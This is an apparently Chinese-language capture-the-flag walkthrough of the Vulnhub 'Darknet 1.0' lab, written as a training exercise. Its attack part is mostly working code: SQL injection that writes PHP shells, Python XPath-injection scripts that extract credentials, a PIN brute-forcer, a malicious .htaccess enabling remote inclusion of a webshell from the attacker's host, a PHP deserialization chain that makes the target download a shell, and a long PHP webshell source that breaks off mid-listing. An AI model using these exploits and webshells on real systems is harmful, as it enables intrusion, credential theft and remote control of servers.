Vulnhub实战靶场练习:Darknet: 1.0
写在前边
因为该靶场难度挺高的,所以是分了好几天成功得到flag的,环境会变化导致靶场的ip地址会变,刚开始时候是192.168.1.8,再做到上传之后卡住休息了几天,看懂了其他大佬的攻略之后,在其他地方重新启动了靶场,靶场环境的ip就变为了 192.168.0.105,请想看的各位自己注意,涉及到需要ip的脚本代码时候,请根据情况自行改为自己环境的ip
参考连接
国内:https://www.freebuf.com/articles/network/220179.html
国外:https://leonjza.github.io/blog/2016/06/16/rooting-darknet/
国外:http://blog.ottos.network/2015/06/darknet-10-write-up.html
一、环境搭建
1、官网下载靶场环境:https://www.vulnhub.com/entry/darknet-10,120/
2、将下载的环境解压出来,使用Oracle VM VirtualBox导入
3、为了方便练习,将靶场网络环境设置为桥接模式,启动即可
二、靶场练习
1、使用netdiscover来获取靶场的ip地址信息为,192.168.1.8
2、使用nmap 192.168.1.8 -p-,扫描收集靶场服务端口信息,寻找突破点
发现端口,88、111、35647
3、有http端口,按照套路,一般都是突破口,访问80端口,寻找更多信息
4、首页和首页源码并没有可以利用的地方,没什么信息,所以使用爆破目录工具,进行爆破
发现http://192.168.1.8/access/目录,访问看到一个文件
下载下来,发现是一个apache的配置文件,里面配置了虚拟主机
5、将配置文件中的域名,添加到HOSTS文件
访问之后发现是一个登录界面
6、随便输入一个账户信息显示,Fail
7、在用户名后添加一个单引号,返回一串MD5值
输入万能密码1'" and 1=1 --,显示Ilegal,可以想到,后台SQL语句可能为
SELECT * FROM users WHERE user='<INJECT>' and pass='<MD5 OF PASS>'
8、现在需要找到一个后台服务器中存在的用户来登录,想到之前配置文件中的邮箱账户,devnull,尝试使用devnull‘ or '1 界面跳转到一个SQL语句界面
9、之后就是利用这个sql执行写shell进去
需要注意第一,要找到可写目录,第二,我要知道根目录,所以现在需要爆破目录
根目录的问题在apache的配置文件已经有了/home/devnull/public_html/
,一般可写的目录是img目录
根据收集到的信息,执行下面SQL语句:
ATTACH DATABASE '/home/devnull/public_html/img/phpinfo.php' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) VALUES ('<?php phpinfo(); ?>');
之后访问img/phpinfo.php发现写入成功
重新构造语句,创建查询系统信息的文件,用来查询信息
ATTACH DATABASE '/home/devnull/public_html/img/files.php' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) VALUES ("<?php if($_GET['a'] == 'ls') { print_r(scandir($_GET['p'])); } if($_GET['a'] == 'cat') { print_r(readfile($_GET['p'])); } ?>");
发现另外一个域名配置文件信息
读取查看配置信息
接着在/etc/hosts添加这条域名记录,在浏览器打开
10、爆破网站目录,发现robots.txt文件
11、访问发现的目录,再次出现一个登录界面
12、测试发现,/contact.php?id=2,参数可能存在xpath注入
利用以下python脚本,测试确实存在注入,运行命令vim exp.py,EXP代码如下:
import requests
import string
import sys
entry_point = 'http://signal8.darknet.com/contact.php'
payloads = {
# . == current node and .. == parent node
'CurrentNode': '1 and starts-with(name(.),"{exfil}")=1',
'ParentNode': '1 and starts-with(name(..),"{exfil}")=1',
}
def w(t):
sys.stdout.write(t)
sys.stdout.flush()
for payload_type, payload in payloads.iteritems():
w("\n{}: ".format(payload_type))
stop = False
exfil = ''
while not stop:
stop = True
for char in string.printable:
r = requests.get(
entry_point, params={
'id': payload.format(exfil=(exfil + char))
})
if 'darknet.com' in r.text:
exfil += char
w(char)
stop = False
print "\nDone"
使用python执行exp.py,确定XML具有以下结构/auth/user
13、确定结构之后,发现了一个名为“user”的新元素,但找不到名为“password”的元素。再次到登录界面后,发现输入字段上的提示是西班牙语,发现密码字段被命名为“ clave”。
发现信息之后,再次写exp脚本,爆破出字段,exp代码如下:
import requests
import string
import sys
entry_point = 'http://signal8.darknet.com/contact.php'
payload = '1 and starts-with(name(//auth/user[id=1]/{word}),"{word}")=1'
with open('/usr/share/wfuzz/wordlist/general/spanish.txt') as f:
for word in f.readlines():
word = word.strip()
r = requests.get(entry_point, params={'id': payload.format(word=word)})
if 'darknet.com' in r.text:
print 'Found attribute: {word}'.format(word=word)
使用python运行脚本之后,获得信息如下:
14、获取到足够信息之后,写出得到账号密码的脚本,exp代码如下:
import requests
import string
import sys
entry_point = 'http://signal8.darknet.com/contact.php'
payloads = {
'username': '1 and starts-with((//auth/user[id=1]/username),"{exfil}")=1',
'password': '1 and starts-with((//auth/user[id=1]/clave),"{exfil}")=1',
}
def w(t):
sys.stdout.write(t)
sys.stdout.flush()
for payload_type, payload in payloads.iteritems():
w("\n{}: ".format(payload_type))
stop = False
exfil = ''
while not stop:
stop = True
for char in string.printable:
r = requests.get(
entry_point, params={
'id': payload.format(exfil=(exfil + char))
})
if 'darknet.com' in r.text:
exfil += char
w(char)
stop = False
print "\nDone"
使用python执行以上exp获取到账号密码
username:errorlevel
password:tc65Igkq6DF
15、输入账号密码之后,登录界面,有个Editor PHP
但是访问之后,界面为404界面
16、返回登录之后的首页,查看界面源码发现有效信息
17、访问之后,有一个上传界面,加一个九宫格,要上传成功,需要在复选框选中4个密码长度才行
18、根据源码中得到的信息,写exp脚本,破解出正确的密码,exp代码如下:
import requests
import itertools
import sys
VALUES = [37, 12, 59, 58, 72, 17, 22, 10, 99]
PIN = None
s = requests.Session()
def w(text):
sys.stdout.write('\r' + text)
sys.stdout.flush()
# Need a valid session before we can continue.
print('[+] Logging in')
s.post('http://signal8.darknet.com/xpanel/index.php', data={
'username': 'errorlevel',
'password': 'tc65Igkq6DF',
})
print('[+] Bruting PIN Code ...')
for c in itertools.permutations(VALUES, 4):
w("{pin}".format(pin=', '.join(map(str, c))))
r = s.post('http://signal8.darknet.com/xpanel/ploy.php',
files={'imag': open('test_image.png', 'rb')},
data={
'checkbox[]': c,
'Action': 'Upload',
})
if 'incorrecta' not in r.text:
print('\n[+] Found pin: {pin}'.format(pin=', '.join(map(str, c))))
break
python运行之后,得到正确密码为37、10、59、17
19、上传一些文件,直接传PHP脚本返回Formato invalido!,上传图片一类的返回Subida exitosa!
20、因为爆破出了一个/upload目录,这个是上传目录,利用上传,可以做一些事情,因为只能传图片,文件一类的,所以可以考虑上传.httace文件来写入新规则,获得webshell
利用上传的exp5.py脚本代码如下:
import requests
import sys
import os.path as path
s = requests.Session()
def w(text):
sys.stdout.write('\r' + text)
sys.stdout.flush()
print('[+] Logging in ...')
s.post('http://signal8.darknet.com/xpanel/index.php', data={
'username': 'errorlevel',
'password': 'tc65Igkq6DF',
})
print('[+] Uploading : {file}'.format(file=sys.argv[1]))
r = s.post('http://signal8.darknet.com/xpanel/ploy.php',
files={'imag': open(sys.argv[1], 'rb')},
data={
'checkbox[]': [37, 10, 59, 17],
'Action': 'Upload',
})
if 'Subida exitosa' in r.text:
print('[+] Upload successful! Try: http://signal8.darknet'
'.com/xpanel/uploads/{file}'.format(file=path.basename(sys.argv[1])))
elif 'Formato invalido' in r.text:
print('[!] Upload failed. Invalid format.')
else:
print('[!] Upload failed, unknown error.')
再写一个.htaccess文件,用来覆盖之前的.htaccess文件,文件内容如下:
php_value allow_url_fopen On
php_flag allow_url_fopen on
<Files ~ "^\.(htaccess|htpasswd)$">
allow from all
</Files>
Options +Indexes
AddType application/x-httpd-suphp .htaccess
#<? include($_GET['file']); ?>
脚本都编写完成之后,使用python运行exp5.py,上传新的.htaccess文件,上传成功
21、因为上传的新的.htaccess文件里,包含了远程文件包含漏洞,所以可以在攻击机下打开apache服务,在网站目录中,创建一个webshell文件来进行引用,我直接使用的为b374k 2.7版本的webshell文件
22、搭建好webshell远程利用的平台之后,浏览器访问,http://signal8.darknet.com/xpanel/uploads/.htaccess?file=http://192.168.0.103/b374k.txt,成功getshell
23、查看网站目录下,文件都为root权限,无法直接访问,不过可以查看到源码
sec.php
Classes目录下为Sec调用的两个类文件文件
Show.php,没什么可利用的点
Test.php,做了很多动作,一旦Test类型的任何对象被破坏,__destruct()方法就会被调用,简而言之,它是从URL下载的文件,然后将其写入指定的路径,最后将权限设置为644。URL,文件名和路径均来自对象变量。
25、利用得到的信息,可以写出反序列化的代码,得到要传递的参数
反序列化的1.php代码如下:
<?php
class Show {
public $woot;
function __toString(){
return "Showme";
}
function Pwnme(){
$this->woot="ROOT";
}
}
print_r(serialize(new Show()));
使用php运行之后,获得要传递的反序列化参数
26、编写exp6.py来将参数传递进去之后访问sec.php看看是否可以正常访问
exp6.py的代码如下:
import requests
OBJECT = """O:4:"Show":1:{s:4:"woot";N;}"""
print('[+] Exploiting the PHP Object Injection Bug')
r = requests.post('http://192.168.0.105/sec.php', data={'test': OBJECT})
print r.status_code
print r.text
使用python运行exp6.py脚本,发现还是500
27、直接访问sec.php返回的一直是500的错误界面
所以在shell中寻找可用信息,浏览其他目录,发现了suphp.conf的配置文件,路径为:/etc/suphp/suphp.conf
min_uid:
允许执行脚本的最小UID。
min_gid:
允许执行脚本的最小GID
这意味着,每当要运行脚本时,suPHP都会将所有者的uid和gid与配置进行比较。如果uid和/或gid低于设置的限制,则suPHP将不会执行脚本,而是产生内部服务器错误。幸好这个文件是可写入的,所以可以利用webshell,将数值改为0
28、再次查看,配置文件已经修改
29、重新执行exp6.py利用脚本,返回代码为200,说明已经执行成功
网页已经可以访问
30、虽然成功访问了sec.php,但是在webshell下查看权限还不是root
31、接下来是提权,首先在apache上写入shell.txt的payload脚本
代码如下:
<?php
@$action = $_REQUEST['action'];
@$path = $_REQUEST['path'];
function file_rwx($file)
{
$perms = substr(sprintf('%o', fileperms($file)), -4);
$rwx = ['---', '--x', '-w-', '-wx', 'r--', 'r-x', 'rw-', 'rwx'];
$type = is_dir($file) ? 'd' : '-';
$owner = $perms[1];
$group = $perms[2];
$public = $perms[3];
return $type . $rwx[$owner] . $rwx[$group] . $rwx[$public] . ' ' .
posix_getpwuid(fileowner($file))['name'];
}
function menu()
{
print '<pre>' . get_current_user() . ' @ ' . php_uname() . PHP_EOL .
'(menu) <a href=' . $_SERVER['PHP_SELF'] . '?action=ls&path=/>ls</a> |' .
' <a href=' . $_SERVER['PHP_SELF'] . '?action=cat&path=/etc/passwd>cat</a> |' .
' <a href=' . $_SERVER['PHP_SELF'] . '?action=upload>upload</a> |' .
' <a href=' . $_SERVER['PHP_SELF'] . '?action=phpinfo>phpinfo</a> |' .
' <a href=' . $_SERVER['PHP_SELF'] . '?action=info>info</a> |' .
' <a href=' . $_SERVER['PHP_SELF'] . '?action=eval&src=print+php_uname%28%29%3B>eval</a> |' .
' <a href=' . $_SERVER['PHP_SELF'] . '?action=exec&cmd=id>exec</a>' .
'</pre>';
}
switch ($action) {
case 'ls':
$path = $_GET['path'];
$files = array_diff(scandir($path), ['.', '..']);
menu();
foreach ($files as $file) {
$location = $path . $file;
if (is_dir($location)) {
$url_action = 'ls';
$location = rtrim($location, '/') . '/';
} else {
$url_action = 'cat';
}
$writable = is_writable($location) ? 'green' : 'red';
$readable = is_readable($location) ? 'green' : 'red';
if ($readable == 'green' and !is_dir($location))
$download = '<a href=' . $_SERVER['PHP_SELF'] .
'?action=download&path=' . urlencode($location) .
'>Download</a></span>';
else
$download = 'Download';
print '<pre>';
print '<span style=\'color:' . $writable . '\'>Write</span> ' .
'<span style=\'color:' . $readable . '\'>Read</span> | ' .
$download . ' | ' .
file_rwx($location) . ' | ' . date('M d Y H:i:s', filectime($location)) .
' <a href=' . $_SERVER['PHP_SELF'] . '?action=' .
$url_action . '&path=' . urlencode($location) . '>' . $location .
'</a>';
print '</pre>';
}
return;
case 'cat':
$file = file_get_contents($path);
menu();
print '<pre>' . $file . '</pre>';
return;
case 'upload':
@$file = $_FILES['file'];
$message = null;
if ($file) {
move_uploaded_file($file['tmp_name'], $path);
$message = 'Uploaded file to: <a href=' . $_SERVER['PHP_SELF'] . '?action=' .
'cat&path=' . urlencode($path) . '>' . $path . '</a>';
}
menu();
print '<form action="' . $_SERVER['PHP_SELF'] .
'?action=upload" method="post" enctype="multipart/form-data"> ' .
'<input type="file" name="file">' .
'Full Destination Path & File: <input type="text" name="path">' .
'<input type="submit" value="Upload"></form>';
print $message;
return;
case 'download':
header('Content-Type: application/octet-stream');
header('Content-Transfer-Encoding: Binary');
header('Content-disposition: attachment; filename="' . basename($path) . '"');
echo readfile($path);
return;
case 'phpinfo':
menu();
phpinfo();
return;
case 'info':
menu();
print '<pre>';
print 'Environment' . PHP_EOL;
print 'Current User: ' . get_current_user() . PHP_EOL;
print 'PHP Version: ' . phpversion() . PHP_EOL;
print 'Loaded Config: ' . php_ini_loaded_file() . PHP_EOL;
print 'PHP SAPI: ' . php_sapi_name() . PHP_EOL;
print 'Uname: ' . php_uname() . PHP_EOL;
print '' . PHP_EOL;
print 'Configuration' . PHP_EOL;
print 'Open Basedir: ' . ini_get('open_basedir') . PHP_EOL;
print 'Disable Classes: ' . ini_get('disable_classes') . PHP_EOL;
print 'Disable Functions: ' . ini_get('disable_functions') . PHP_EOL;
print 'URL fopen: ' . ini_get('allow_url_fopen') . PHP_EOL;
print 'URL Include: ' . ini_get('allow_url_include') . PHP_EOL;
print 'File Uploads: ' . ini_get('file_uploads') . PHP_EOL;
print '</pre>';
return;
case 'eval':
@$src = $_REQUEST['src'];
menu();
之后写出反序列化所需要的POST的参数的脚本2.php,代码如下:
<?php
class Show {
public $woot;
function __toString(){
return "Showme";
}
function Pwnme(){
$this->woot="ROOT";
}
}
class Test {
public $url;
public $name_file;
public $path;
function __destruct(){
# Commented out as this will run when this script
# also finishes :D
#$data=file_get_contents($this->url);
#$f=fopen($this->path."/".$this->name_file, "w");
#fwrite($f, $data);
#fclose($f);
#chmod($this->path."/".$this->name_file, 0644);
}
}
$test = new Test();
$test->url = 'http://192.168.0.103/shell.txt';
$test->name_file = 'pop.php';
$test->path = '/var/www';
print_r(serialize([$test, new Show()]));
使用php环境运行反序列化的2.php脚本,获得反序列化要传入的参数,得到的参数如下:
写出最后利用的exp7.py,代码如下:
import requests
OBJECT = """a:2:{i:0;O:4:"Test":3:{s:3:"url";s:30:"http://192.168.0.103/shell.txt";s:9:"name_file";s:7:"pop.php";s:4:"path";s:8:"/var/www";}i:1;O:4:"Show":1:{s:4:"woot";N;}}"""
print('[+] Exploiting the PHP Object Injection Bug')
r = requests.post('http://192.168.0.105/sec.php', data={'test': OBJECT})
print(r.status_code)
print(r.text)
32、使用python运行exp7.py,执行成功,访问http://192.168.0.105/pop.php,发现payload被成功写入
33、获得最后的flag.txt
完